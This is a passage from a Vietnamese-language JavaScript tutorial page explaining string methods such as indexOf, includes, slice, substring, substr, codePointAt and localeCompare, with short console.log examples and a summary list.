1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thay đổi chữ hoa và thường</h2> <p>Có một số <a href="/phuong-thuc-cua-kieu-nguyen-thuy/">phương thức</a> giúp thay đổi chữ hoa và chữ thường của string trong JavaScript.</p> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase"><code>toLowerCase()</code></a> trả về string mới với <strong>tất cả các kí tự đều viết thường</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hello</span></code></pre></div> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase"><code>toUpperCase()</code></a> trả về string mới với <strong>tất cả các kí tự đều viết hoa</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">.</span><span class="token function">toUpperCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// HELLO</span></code></pre></div> <h2 id="tìm-kiếm-substring" style="position:relative;"><a href="#t%C3%ACm-ki%E1%BA%BFm-substring" aria-label="tìm kiếm substring permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tìm kiếm substring</h2> <p>Có nhiều cách để tìm kiếm substring (string con) trong một string.</p> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf"><code>str.indexOf(substr, pos)</code></a>:</p> <p>Phương thức này tìm kiếm <code>substr</code> bên trong string <code>str</code> bắt đầu từ vị trí <code>pos</code>. Kết quả trả về là vị trí của substring (vị trí kí tự đầu tiên) nếu tìm thấy, ngược lại thì trả về -1, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">"js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">"JS"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1 vì không tìm thấy</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2 - vị trí đầu tiên tìm thấy</span></code></pre></div> <p>Tham số thứ hai <code>pos</code> cho phép bạn xác định vị trí bắt đầu tìm kiếm:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5 - vị trí đầu tiên tìm thấy bắt đầu từ 3</span></code></pre></div> <p>Nếu bạn muốn <strong>tìm tất cả vị trí của substring</strong>, bạn có thể sử dụng vòng lặp. Khi tìm thấy một vị trí, bạn lưu lại ví trí đó để sử dụng cho lần lặp tiếp theo. Cho đến khi kết quả là <code>-1</code> thì dừng lại.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> target <span class="token operator">=</span> <span class="token string">"a"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> pos <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> foundPos <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> pos<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>foundPos <span class="token operator">===</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"found pos:"</span><span class="token punctuation">,</span> foundPos<span class="token punctuation">)</span><span class="token punctuation">;</span> pos <span class="token operator">=</span> foundPos <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf"><code>str.lastIndexOf(substr, pos)</code></a></p> <p>Tương tự như phương thức <code>str.indexOf(substr, pos)</code> nhưng thực hiện <strong>tìm kiếm từ cuối lên đầu</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">lastIndexOf</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 5 - vị trí đầu tiên tìm thấy tính từ cuối</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes"><code>str.includes(substr, pos)</code></a></p> <p>Phương thức này cũng tìm <code>substr</code> trong <code>str</code>, nhưng thay vì trả về vị trí thì phương thức này trả về <code>true</code> nếu tìm thấy và trả về <code>false</code> nếu không tìm thấy.</p> <p>Phương thức này đặc biệt hữu ích khi bạn cần kiểm tra tính tồn tại của substring mà không quan tâm vị trí:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"JS"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham số thứ hai <code>pos</code> cho phép bạn kiểm tra tính tồn tại bắt đầu từ vị trí <code>pos</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"js"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"js"</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith"><code>str.startsWith(substr)</code></a></p> <p>Trả về <code>true</code> nếu <code>str</code> <strong>bắt đầu</strong> bằng <code>substr</code>, ngược lại trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">"I am"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">"js"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith"><code>str.endsWith(substr)</code></a></p> <p>Trả về <code>true</code> nếu <code>str</code> <strong>kết thúc</strong> bằng <code>substr</code>, ngược lại trả về <code>false</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token string">"I am"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token string">"dev"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <h2 id="lấy-giá-trị-substring-trong-string" style="position:relative;"><a href="#l%E1%BA%A5y-gi%C3%A1-tr%E1%BB%8B-substring-trong-string" aria-label="lấy giá trị substring trong string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy giá trị substring trong string</h2> <p>Có <strong>ba phương thức</strong> để lấy giá trị substring của string trong JavaScript.</p> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice"><code>str.slice(start [, end])</code></a></p> <p>Trả về substring bắt đầu từ vị trí <code>start</code> đến vị trí <code>end</code> (không bao gồm vị trí <code>end</code> và <code>start</code> luôn phải nhỏ hơn <code>end</code>), ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am</span></code></pre></div> <p>Nếu không truyền vào giá trị <code>end</code> thì phương thức này sẽ lấy đến cuối string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am a js dev</span></code></pre></div> <p>Trường hợp giá trị của <code>start</code> và <code>end</code> là số âm thì vị trí được đếm từ cuối lên đầu (vị trí cuối cùng ứng với <code>-1</code>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// de</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring"><code>str.substring(start [, end])</code></a></p> <p>Trả về substring trong string giữa vị trí <code>start</code> và vị trí <code>end</code> (không bao gồm vị trí <code>end</code>).</p> <p>Phương thức này gần giống phương thức <code>str.slice(start, [, end])</code> chỉ khác ở chỗ là: phương thức <code>substring</code> cho phép <code>start</code> có thể lớn hơn <code>end</code> và <code>substring</code> không áp dụng được cho trường hợp <code>start</code>, <code>end</code> có giá trị âm, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> <span class="token comment">// trường hợp bình thường</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am</span> <span class="token comment">// trường hợp không có end</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am a js dev</span> <span class="token comment">// trường hợp start lớn hơn end</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am</span></code></pre></div> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr"><code>str.substr(start [, length])</code></a></p> <p>Trả về substring bắt đầu từ vị trí <code>start</code> và lấy số kí tự là <code>length</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am - bắt đầu từ vị trí 2, lấy 2 kí tự</span></code></pre></div> <p>Trường hợp không có giá trị <code>length</code> thì trả về đến string:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// am a js dev - trả về đến hết string</span></code></pre></div> <p>Nếu giá trị <code>start</code> là âm, thì việc lấy substring được tính từ cuối (vị trí kí tự cuối cùng là <code>-1</code>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str <span class="token operator">=</span> <span class="token string">"I am a js dev"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ev</span></code></pre></div> <blockquote> <p>💡 Trong ba phương thức trên thì phương thức <code>slice</code> có vẻ linh động hơn cả, vì nó ngắn gọn, dễ nhớ và hỗ trợ tham số âm.</p> <p>Phương thức <code>substr</code> thì đã bị lỗi thời.</p> </blockquote> <h2 id="so-sánh-string-trong-javascript" style="position:relative;"><a href="#so-s%C3%A1nh-string-trong-javascript" aria-label="so sánh string trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh string trong JavaScript</h2> <p>Như mình đã giới thiệu ở bài <a href="/toan-tu-so-sanh-trong-javascript/#so-s%C3%A1nh-string">toán tử so sánh trong JavaScript</a>, so sánh string thực hiện so sánh từng kí tự từ trái sang phải.</p> <p>Và khi so sánh string, bạn thấy rằng <strong>kí tự viết thường</strong> lớn hơn <strong>kí tự viết hoa</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a"</span> <span class="token operator">></span> <span class="token string">"A"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p><strong>Tại sao lại như vậy?</strong></p> <p>Vì string trong JavaScript được encode bằng UTF-16. Nghĩa là mỗi kí tự tương ứng với một số.</p> <p>Sau đây là những phương thức giúp bạn chuyển đổi string sang số unicode và ngược lại.</p> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt"><code>str.codePointAt(pos)</code></a></p> <p>Trả về mã code (số) tương ứng với kí tự tại vị trí <code>pos</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">.</span><span class="token function">codePointAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 97</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"A"</span><span class="token punctuation">.</span><span class="token function">codePointAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 65</span></code></pre></div> <p>Bạn thấy rằng mã code ứng với <code>"a"</code> (bằng <code>97</code>) lớn hơn của <code>"A"</code> (bằng 65).</p> <p>► Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCodePoint"><code>String.fromCodePoint(code)</code></a></p> <p>Trả về kí tự ứng với mã code, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>String<span class="token punctuation">.</span><span class="token function">fromCodePoint</span><span class="token punctuation">(</span><span class="token number">97</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>String<span class="token punctuation">.</span><span class="token function">fromCodePoint</span><span class="token punctuation">(</span><span class="token number">65</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// A</span></code></pre></div> <p>Bạn cũng có thể sử dụng mã Unicode bằng cách thêm kí tự <code>\u</code> trước mã hexa:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"\u0061"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// a - mã hexa của a là 61</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"\u0041"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// A - mã hexa của A là 41</span></code></pre></div> <p>Thực tế, việc so sánh string phức tạp hơn nhiều vì nó còn phụ thuộc vào ngôn ngữ vùng miền.</p> <p>Ví dụ so sánh tiếng việt:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str1 <span class="token operator">=</span> <span class="token string">"Hải Dương"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> str2 <span class="token operator">=</span> <span class="token string">"Hòa Bình"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str1 <span class="token operator">></span> str2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Theo ví dụ trên, kết quả <code>str1 > str2</code> bằng <code>true</code>. Nghĩa là <code>str1</code> lớn hơn <code>str2</code>.</p> <p>Nhưng theo thực tế khi sắp xếp Tiếng Việt, chữ cái <code>a</code> bao giờ cũng đứng trước chữ cái <code>o</code>. Nói cách khác <strong>Hải Dương</strong> phải nhỏ hơn <strong>Hòa Bình</strong>.</p> <p>Để giải quyết vấn đề này, bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare"><code>localeCompare</code></a>.</p> <p>Đối với <code>str1.localeCompare(str2)</code>, có ba trường hợp xảy ra là:</p> <ul> <li>Nếu kết quả trả về nhỏ hơn <code>0</code> thì <code>str1</code> nhỏ hơn <code>str2</code>.</li> <li>Nếu kết quả trả về lớn hơn <code>0</code> thì <code>str1</code> lớn hơn <code>str2</code>.</li> <li>Nếu kết quả trả về bằng <code>0</code> thì <code>str1</code> bằng <code>str2</code>.</li> </ul> <p>Áp dụng <code>localeCompare</code> với ví dụ trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> str1 <span class="token operator">=</span> <span class="token string">"Hải Dương"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> str2 <span class="token operator">=</span> <span class="token string">"Hòa Bình"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str1<span class="token punctuation">.</span><span class="token function">localeCompare</span><span class="token punctuation">(</span>str2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -1</span></code></pre></div> <p>Kết quả là <code>-1</code> (nhỏ hơn <code>0</code>). Nói cách khác, <code>str1</code> nhỏ hơn <code>str2</code>.</p> <blockquote> <p>Có thể bạn quan tâm: <a href="/sap-xep-tieng-viet-javascript/">Sắp xếp Tiếng Việt trong JavaScript</a></p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản về string trong JavaScript:</p> <ul> <li>Có <strong>ba loại kí tự</strong> dùng để biểu diễn string trong JavaScript là: nháy đơn, nháy kép và "backtick".</li> </ul> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">'hello'; // nháy đơn "hello"; // nháy kép `hello`; // backtick</code></pre></div> <ul> <li>String trong JavaScript được encode bởi mã UTF-16.</li> <li>Bạn có thể sử dụng kí tự đặc biệt trong string bằng cách thêm kí tự <code>\</code> phía trước.</li> <li>Để truy cập vào kí tự ở vị trí <code>pos</code> trong string, bạn có thể dùng <code>str[pos]</code> hoặc <code>str.charAt(pos)</code>.</li> <li>Để trả về string gồm các kí tự viết thường (hoặc viết hoa), bạn dùng <code>str.toLowerCase</code> (hoặc <code>str.toUpperCase</code>).</li> <li>Để lấy substring, bạn sử dụng <code>slice</code> hoặc <code>substring</code>.</li> <li>Để tìm kiếm substring trong string, bạn dùng <code>indexOf</code>.</li> <li>Để kiểm tra tính tồn tại của substring, bạn sử dụng <code>includes</code>, <code>startsWith</code> hoặc <code>endsWith</code>.</li> <li>Để so sánh string dựa trên đặc trưng ngôn ngữ vùng miền, bạn có thể dùng <code>localeCompare</code>. Nếu so sánh string bình thường thì kết quả chỉ dựa trên mã unicode tương ứng.</li> </ul> <p>Ngoài ra, string còn nhiều phương thức khác nữa. Bạn có thể tham khảo thêm tại:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">MDN String</a></li> <li><a href="https://javascript.info/string">Strings</a></li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 